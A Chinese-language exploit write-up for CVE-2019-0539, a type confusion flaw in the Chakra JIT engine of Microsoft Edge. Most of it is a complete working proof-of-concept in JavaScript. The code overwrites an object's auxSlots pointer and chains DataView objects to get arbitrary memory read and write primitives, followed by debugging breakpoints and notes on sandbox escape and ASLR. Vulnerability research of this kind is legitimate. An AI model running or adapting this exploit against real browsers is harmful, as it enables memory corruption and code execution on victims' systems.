深入分析Microsoft Edge Chakra JIT类型混淆漏洞的利用方式
字数 1170 2025-08-05 19:10:02
Microsoft Edge Chakra JIT类型混淆漏洞(CVE-2019-0539)利用分析
漏洞概述
CVE-2019-0539是Microsoft Edge浏览器中Chakra JavaScript引擎JIT编译器的一个类型混淆漏洞。该漏洞允许攻击者覆盖JavaScript对象的auxSlots数组指针,从而可能导致任意内存读写,最终实现远程代码执行(RCE)。
漏洞背景
在Chakra引擎中,JavaScript对象(o={a: 1, b: 2};)通过Js::DynamicObject类实现,具有三种可能的内存布局:
- 布局#1:只有
auxSlots指针,没有内联slot - 布局#2:既有
auxSlots指针又有内联slot - 布局#3:只有内联slot,没有
auxSlots指针
漏洞成因
在POC中,对象"o"最初以布局#3开始生命周期。当JIT代码调用OP_InitClass函数时,对象的内存布局被更改为布局#1。然而,JIT代码不知道这一变化,仍尝试更新第一个内联slot中的属性,实际上却覆盖了auxSlots指针。
利用策略
基本思路
- 覆盖
DynamicObject的auxSlots指针 - 通过损坏的对象控制其他有用对象
- 实现任意内存读写(R/W)原语
利用步骤详解
第一步:设置中间对象
obj = {}
obj.a = 1; obj.b = 2; obj.c = 3; obj.d = 4;
obj.e = 5; obj.f = 6; obj.g = 7; obj.h = 8;
obj.i = 9; obj.j = 10;
这个中间对象obj已经处于布局#1,具有足够的属性来定位到目标对象的特定字段。
第二步:触发漏洞
opt(o, cons, obj); // o->auxSlots = obj
通过漏洞将对象o的auxSlots指针指向中间对象obj。
第三步:控制DataView对象
dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));
o.c = dv1; // obj->auxSlots = dv1
obj.h = dv2; // dv1->buffer = dv2
通过中间对象obj控制第一个DataView对象dv1,再通过dv1控制第二个DataView对象dv2。
第四步:实现R/W原语
function read64(addr_lo, addr_hi) {
// dv2->buffer = addr
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// read from addr
return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
}
function write64(addr_lo, addr_hi, value_lo, value_hi) {
// dv2->buffer = addr
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// write to addr
dv2.setInt32(0, value_lo, true);
dv2.setInt32(0, value_hi, true);
}
通过精确控制dv2的缓冲区指针,实现任意地址的读写操作。
完整利用代码
obj = {}
obj.a = 1; obj.b = 2; obj.c = 3; obj.d = 4;
obj.e = 5; obj.f = 6; obj.g = 7; obj.h = 8;
obj.i = 9; obj.j = 10;
dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));
BASE = 0x100000000;
function hex(x) {
return "0x" + x.toString(16);
}
function opt(o, c, value) {
o.b = 1;
class A extends c {}
o.a = value;
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, (function() {}), {});
}
let o = {a: 1, b: 2};
let cons = function() {};
cons.prototype = o;
opt(o, cons, obj); // o->auxSlots = obj
o.c = dv1; // obj->auxSlots = dv1
obj.h = dv2; // dv1->buffer = dv2
let read64 = function(addr_lo, addr_hi) {
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
}
let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
dv2.setInt32(0, value_lo, true);
dv2.setInt32(0, value_hi, true);
}
// 示例使用
vtable_lo = dv1.getUint32(0, true);
vtable_hi = dv1.getUint32(4, true);
print(hex(vtable_lo + vtable_hi * BASE));
print(hex(read64(vtable_lo, vtable_hi)));
write64(0x22222222, 0x11111111, 0x1337, 0x1337);
}
main();
调试技巧
- 在
ch!WScriptJsrt::EchoCallback设置断点,用于在执行print()时暂停 - 在
chakracore!Js::DynamicTypeHandler::SetSlotUnchecked设置断点,用于在执行属性赋值前暂停 - 结合使用这两个断点可以清晰地跟踪对象内存布局的变化
注意事项
- Microsoft Edge进程运行在沙箱中,需要额外的漏洞实现沙箱逃逸
- 获取R/W原语只是第一步,还需要重定向执行流才能实现完整RCE
- 实际利用需要考虑内存地址随机化(ASLR)等缓解措施
总结
通过精心构造的JavaScript对象链和DataView对象,利用CVE-2019-0539漏洞可以实现强大的任意内存读写原语。这种利用技术展示了如何通过类型混淆漏洞逐步控制内存布局,最终获得对进程内存的完全控制。